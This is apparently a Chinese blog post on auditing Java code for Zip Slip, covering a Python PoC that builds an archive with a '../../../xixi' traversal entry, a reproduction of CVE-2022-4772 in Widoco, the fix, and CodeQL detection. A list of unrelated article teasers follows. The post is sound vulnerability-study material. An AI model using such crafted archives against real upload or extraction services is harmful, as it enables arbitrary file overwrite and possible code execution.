Zip Slip漏洞审计实战
前言
最近看到许少的推有说到Zip Slip这个漏洞导致的RCE,其实我在代码审计的时候确实发现有不少功能模块都是使用ZIP来解压,其实还是在真实系统中经常见到的。

于是想着好久没有写过博客了,想借着这次机会更新一下吧,免得读者以为我在偷懒没学习了~
Zip Slip是什么漏洞
Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。
Java中较为常见的场景是上传压缩包进行解压的时候,后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换。如果结合系统特性和某些定时任务脚本,就可能导致RCE的执行,因此该漏洞也被标记为高危漏洞。
我从先知上TGAO师傅发布的文章里面公布的poc:
import zipfile if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
其中qqq.txt是需要压缩的文件,../../../xixi是该文件在压缩包中的名字
之后在Java中使用zipEntry.getName()等方法获取的就是../../../xixi这个字符串
更多的框架Zip-Slip漏洞可以在开源项目中找到:https://github.com/snyk/zip-slip-vulnerability
漏洞分析实战
java.util.zip.ZipEntry
该类是Jdk中自带的原生类,在TGAO师傅发布的文章中介绍到了,这里就不在赘述了

Widoco Zip-Slip(CVE-2022-4772)漏洞分析
漏洞描述
WIDOCO是一个用于记录本体的向导。帮助您通过在GUI中执行一系列步骤,自动发布和创建一个丰富的、定制的本体文档。 WIDOCO在1.4.17版本之前存在Zip-Slip漏洞,漏洞点在src/main/java/widoco/WidocoUtils.java文件中,通过unZipIt函数可以将zip包中的文件写入到任意可写入的文件夹中,这将影响服务器的完整性。
漏洞定位
查看1.4.17版本和Github上Master最新的版本做对比

发现是在方法Unzipit中进行了修补
漏洞复现
首先添加Widoco有漏洞版本到项目依赖中
<dependencies>
<dependency>
<groupId>com.github.dgarijo</groupId>
<artifactId>Widoco</artifactId>
<version>v1.4.16</version>
</dependency>
</dependencies> [ ... ] <repositories>
<repository>
<id>jitpack.io</id>
<url>https://jitpack.io</url>
</repository>
</repositories>
运行poc.py,设置跨越到上级目录../xixi文件

再编写漏洞利用代码,模拟真实场景下压缩包解压的情况
package javaTest;
import widoco.WidocoUtils;
public class GST {
public static void main(String[] args){
String path = GST.class.getResource("/").toString();
System.out.println("path = " + path);
String resourceName = "/poc.zip";
String outputFolder = "E:\\work\\TempVuln\\tempDir";
WidocoUtils.unZipIt(resourceName,outputFolder);
System.out.println("Done");
}
}
执行后xixi文件就直接被解压到上级目录下,造成Zip-Slip漏洞

再来看看修复方案,是判断解压的路径和设置的目标主目录是否是相等的,如果不是则抛出异常

使用CodeQL发现漏洞
首先下载目标对应版本的项目,使用如下命令创建数据库
codeql database create qldb-test -l java
创建成功后会有successful的提示
之后使用database analyze进行分析
codeql database analyze qldb-test E:\codeql\ql\java\ql\src\Security\CWE --format=sarifv2.1.0 --output=result.sarif
这里的路径是CWE的分析规则,挨个进行分析
在该目录会生成一个result.sarif文件,通过vscode的sarif viewer插件打开

打开sarif文件,从RULES一栏中可以看到zipslip的漏洞就发现了

如此的漏洞,在代码审计和系统中很多开发人员都不知道,也许随手就拿来用了

Reference
[2].https://github.com/snyk/zip-slip-vulnerability
[3].https://xz.aliyun.com/t/12081
[4].https://github.com/dgarijo/Widoco/pull/551
[5].https://vip.riskivy.com/detail/1607889173715488768
Zip Slip漏洞审计实战的更多相关文章
- PHP代码审计2-常用超全局变量,常用命令注入,常用XSS漏洞审计,文件包含
超全局变量 $GLOBALS — 引用全局作用域中可用的全部变量$_SERVER — 服务器和执行环境信息$_GET — HTTP GET 变量$_POST — HTTP POST 变量$_FILES ...
- Linux安全漏洞审计工具Lynis
Linux安全漏洞审计工具Lynis Lynis是针对类Unix系统的审计工具,它支持Unix.Linux.FreeBSD.Mac OS多种操作系统.它能对系统实施大于400种测试,以发现39个方 ...
- dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
- 原创QQ影音DLL劫持漏洞+动画实战教程
1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- 60cms Cookies欺骗漏洞审计
源码地址:https://files.cnblogs.com/files/ssooking/60cms.zip 运行60cms目录下的Netbox.exe即可开启Asp Web服务,默认端口80 环境 ...
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
- PHP文件包含漏洞攻防实战
本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...
- csv注入漏洞原理&&实战
前言 为了找工作,巩固巩固知识.本文会介绍 csv 注入漏洞的原理,最后给出一个示例. 正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识 ...
随机推荐
- mysql 1130报错只允许localhost登录解决方法
提示:这些方法会改变登录权限,如果是生产服务器端谨慎操作!!! mysql出现错误码1130的解决办法: 错误描述: 错误代码:1130Host ***.***.***.*** is not allo ...
- 模态框:JavaScript+css
solution one: JavaScript,单个模态框展示: modal_tools.js window.onload = function () { //js默认加载页面方法 // get m ...
- NX环境变量设置脚本
1 @ECHO OFF 2 TITLE NX 环境变量设置 3 color 3f 4 :MENU 5 CLS 6 ECHO. NX环境变量设置工具 7 ECHO.******************* ...
- 使用powerdesigner连接MySQL并设置逆向工程
使用powerdesigner连接MySQL并设置逆向工程 环境:powerdesigner15.1 MySQL5.7 win10 X64 1.安装mysql-connector-odbc-5.3.8 ...
- 07 从RDD创建DataFrame
1.pandas df 与 spark df的相互转换 df_s=spark.createDataFrame(df_p) df_p=df_s.toPandas() 2. Spark与Pandas中Da ...
- NIO基本编写
一.编写server端 1 public class Server implements Runnable{ 2 //1 多路复用器(管理所有的通道) 3 private Selector selet ...
- fiddler everywhere 抓包工具的使用
1.功能 手机微信或者浏览器访问网址都可以在fidder里面抓到http请求 2.配置 电脑fidder setting->允许安卓手机远程访问 安卓手机 设置->wifi代理 主机名是电 ...
- 【APT】响尾蛇(SideWinder)APT组织样本分析
基础信息 名称:NDC Participants.docx类型:.docMD5:df020e81b7ca32868a8ac1f5eddd086f描述:通过远程模板注入技术加载含有CVE-2017-11 ...
- vite+vue3批量导入静态资源图片;动态绑定大量图片
vite版本:vite3:vue版本:vue3 打包上线后发现,动态绑定的图片皆失效. 单图可用 import 导入解决,但是若有大量图片,一一导入则耗时耗力. vue2+webpack 可用 req ...
- openlayers-1 下载及安装使用
javascript - Import from in Openlayers - Geographic Information Systems Stack Exchange 在浏览器中运行开放层示例 ...